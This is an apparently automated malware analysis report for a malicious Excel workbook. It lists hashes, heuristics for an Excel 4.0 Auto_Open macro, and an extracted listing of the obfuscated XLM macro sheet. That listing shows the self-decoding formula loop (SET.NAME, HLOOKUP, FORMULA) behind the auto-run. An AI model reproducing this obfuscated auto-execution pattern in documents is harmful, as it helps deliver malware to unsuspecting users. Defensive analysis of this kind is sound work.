Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6c272204d413a76f…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-25 10:39:05 Authoring application: Microsoft Excel First seen: 2021-02-18
MD5: e81449a44bc4f68f442eb5deb433544e SHA-1: 835cf633659cde0a45c35a629b20133037e1a413 SHA-256: 6c272204d413a76fdd57393b10d45e518c89cec588b68e1627039c554ff06d7c
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6547 bytes
SHA-256: 5e077237be5150c0eb180ad5daf2f2ac0a8426eadb6a70572d36bf7e9a9d1862
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  jynjrmup
' 0018     21 LABEL : Cell Value, String Constant - aehDoU len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D169 
' 0018     27 LABEL : Cell Value, String Constant - AZhFXHYmVudR len=0 
' 0018     26 LABEL : Cell Value, String Constant - CsIyVpUzdtD len=0 
' 0018     27 LABEL : Cell Value, String Constant - GSwiTSVgPmpA len=0 
' 0018     23 LABEL : Cell Value, String Constant - HihSsxiw len=0 
' 0018     20 LABEL : Cell Value, String Constant - IrZAG len=0 
' 0018     20 LABEL : Cell Value, String Constant - jJWQU len=0 
' 0018     26 LABEL : Cell Value, String Constant - jxRJJyBjnLC len=0 
' 0018     23 LABEL : Cell Value, String Constant - kQJjzgMC len=0 
' 0018     23 LABEL : Cell Value, String Constant - NrdNSfXi len=0 
' 0018     25 LABEL : Cell Value, String Constant - PBDFITpCMW len=0 
' 0018     23 LABEL : Cell Value, String Constant - PPshcbkI len=0 
' 0018     26 LABEL : Cell Value, String Constant - PTXwELyZAhk len=0 
' 0018     25 LABEL : Cell Value, String Constant - QQfpvXOzNy len=0 
' 0018     24 LABEL : Cell Value, String Constant - QvtljVjje len=0 
' 0018     20 LABEL : Cell Value, String Constant - QZwfe len=0 
' 0018     25 LABEL : Cell Value, String Constant - sMyuyWZotF len=0 
' 0018     23 LABEL : Cell Value, String Constant - URkskDMA len=0 
' 0018     20 LABEL : Cell Value, String Constant - woOYZ len=0 
' 0018     21 LABEL : Cell Value, String Constant - yDqSOW len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  jynjrmup,D73,"SET.NAME("NrdNSfXi",VALUE("0"))",""
'  jynjrmup,D76,"SET.NAME("PBDFITpCMW",NrdNSfXi)",""
'  jynjrmup,D78,"SET.NAME("GSwiTSVgPmpA",NrdNSfXi)",""
'  jynjrmup,D81,"SET.NAME("CsIyVpUzdtD",COUNTA(URkskDMA))",""
'  jynjrmup,D86,"SET.NAME("yDqSOW",COUNTA(AZhFXHYmVudR))",""
'  jynjrmup,D91,[],""
'  jynjrmup,D95,"SET.NAME("jJWQU","")",""
'  jynjrmup,D98,"PBDFITpCMW",""
'  jynjrmup,D102,"SET.NAME("PTXwELyZAhk",HLOOKUP("*",URkskDMA,PBDFITpCMW,FALSE))",""
'  jynjrmup,D106,"HihSsxiw",""
'  jynjrmup,D108,"SET.NAME("jxRJJyBjnLC",NrdNSfXi)",""
'  jynjrmup,D111,[],""
'  jynjrmup,D114,"jxRJJyBjnLC",""
'  jynjrmup,D119,"woOYZ",""
'  jynjrmup,D123,"IrZAG",""
'  jynjrmup,D126,"PPshcbkI",""
'  jynjrmup,D131,"SET.NAME("QQfpvXOzNy",VALUE(HLOOKUP("*",AZhFXHYmVudR,PPshcbkI,FALSE)))",""
'  jynjrmup,D135,"aehDoU",""
'  jynjrmup,D140,"jJWQU",""
'  jynjrmup,D143,"GSwiTSVgPmpA",""
'  jynjrmup,D147,NEXT(),""
'  jynjrmup,D150,"sMyuyWZotF",""
'  jynjrmup,D155,"SET.NAME("f",INT(T(FORMULA(T(jJWQU)&"",""&T(sMyuyWZotF)))))",""
'  jynjrmup,D160,"kQJjzgMC",""
'  jynjrmup,D165,NEXT(),""
'  jynjrmup,D167,RETURN(),""
'  jynjrmup,D192,"SET.NAME("QvtljVjje",D73)",""
'  jynjrmup,D197,"URkskDMA",""
'  jynjrmup,D201,"SET.NAME("AZhFXHYmVudR",R94C11)",""
'  jynjrmup,D203,"SET.NAME("kQJjzgMC",214)",""
'  jynjrmup,D208,"SET.NAME("QZwfe",4)",""
'  jynjrmup,D213,QvtljVjje(),""
'  jynjrmup,D214,HALT(),""

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